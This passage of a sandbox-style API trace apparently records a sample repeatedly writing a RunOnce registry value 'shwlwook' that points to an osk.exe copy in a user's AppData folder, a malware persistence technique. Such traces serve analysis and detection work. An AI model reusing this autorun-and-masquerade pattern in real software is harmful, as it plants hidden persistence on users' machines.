lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.091] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.091] RegCloseKey (hKey=0x14c) returned 0x0 [0261.091] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.091] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.108] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.108] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.109] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.109] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.109] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.109] RegCloseKey (hKey=0x14c) returned 0x0 [0261.109] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.110] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.121] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.121] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.121] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.122] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.122] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.122] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.122] RegCloseKey (hKey=0x14c) returned 0x0 [0261.122] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.122] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.138] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.138] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.138] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.138] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.138] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.139] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.139] RegCloseKey (hKey=0x14c) returned 0x0 [0261.139] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.139] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.220] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.220] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.220] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.221] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.221] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.221] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.221] RegCloseKey (hKey=0x14c) returned 0x0 [0261.221] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.221] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.246] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.246] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.247] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.247] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.248] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.248] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.248] RegCloseKey (hKey=0x14c) returned 0x0 [0261.248] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.249] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.264] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.264] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.264] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.265] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.265] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.265] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.265] RegCloseKey (hKey=0x14c) returned 0x0 [0261.266] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.266] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.293] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.293] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.294] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.294] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.294] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.294] RegCloseKey (hKey=0x14c) returned 0x0 [0261.294] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.295] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.308] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.308] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.309] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.309] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.309] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.310] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.310] RegCloseKey (hKey=0x14c) returned 0x0 [0261.310] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.310] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.324] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.324] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.324] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.325] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.325] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.325] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.325] RegCloseKey (hKey=0x14c) returned 0x0 [0261.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.326] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.340] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.340] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.341] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.341] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.341] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.341] RegCloseKey (hKey=0x14c) returned 0x0 [0261.341] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.342] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.355] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.355] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.356] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.356] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.356] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.356] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.357] RegCloseKey (hKey=0x14c) returned 0x0 [0261.357] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.357] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.371] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.371] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.372] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.372] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.372] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.373] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.373] RegCloseKey (hKey=0x14c) returned 0x0 [0261.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.373] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.387] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.387] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.387] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.387] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.388] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.388] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.388] RegCloseKey (hKey=0x14c) returned 0x0 [0261.388] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.389] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.402] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.402] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.403] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.403] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.404] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.404] RegCloseKey (hKey=0x14c) returned 0x0 [0261.404] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.404] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.418] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.418] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.418] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.419] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.419] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.419] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.419] RegCloseKey (hKey=0x14c) returned 0x0 [0261.419] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.420] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.570] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.570] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.571] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.571] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.571] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.571] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.572] RegCloseKey (hKey=0x14c) returned 0x0 [0261.572] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.572] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.574] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.574] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.574] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.575] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.575] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.575] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.575] RegCloseKey (hKey=0x14c) returned 0x0 [0261.576] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.576] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.590] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.590] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.591] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.591] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.591] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.591] RegCloseKey (hKey=0x14c) returned 0x0 [0261.591] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.592] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.607] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.607] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.608] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.608] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.608] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.609] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.609] RegCloseKey (hKey=0x14c) returned 0x0 [0261.609] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.609] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.637] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.637] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.637] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.638] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.638] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.638] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.638] RegCloseKey (hKey=0x14c) returned 0x0 [0261.638] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.639] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.652] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.652] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.652] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.653] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.653] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.653] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.653] RegCloseKey (hKey=0x14c) returned 0x0 [0261.654] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.654] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.676] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.676] DispatchMessageW 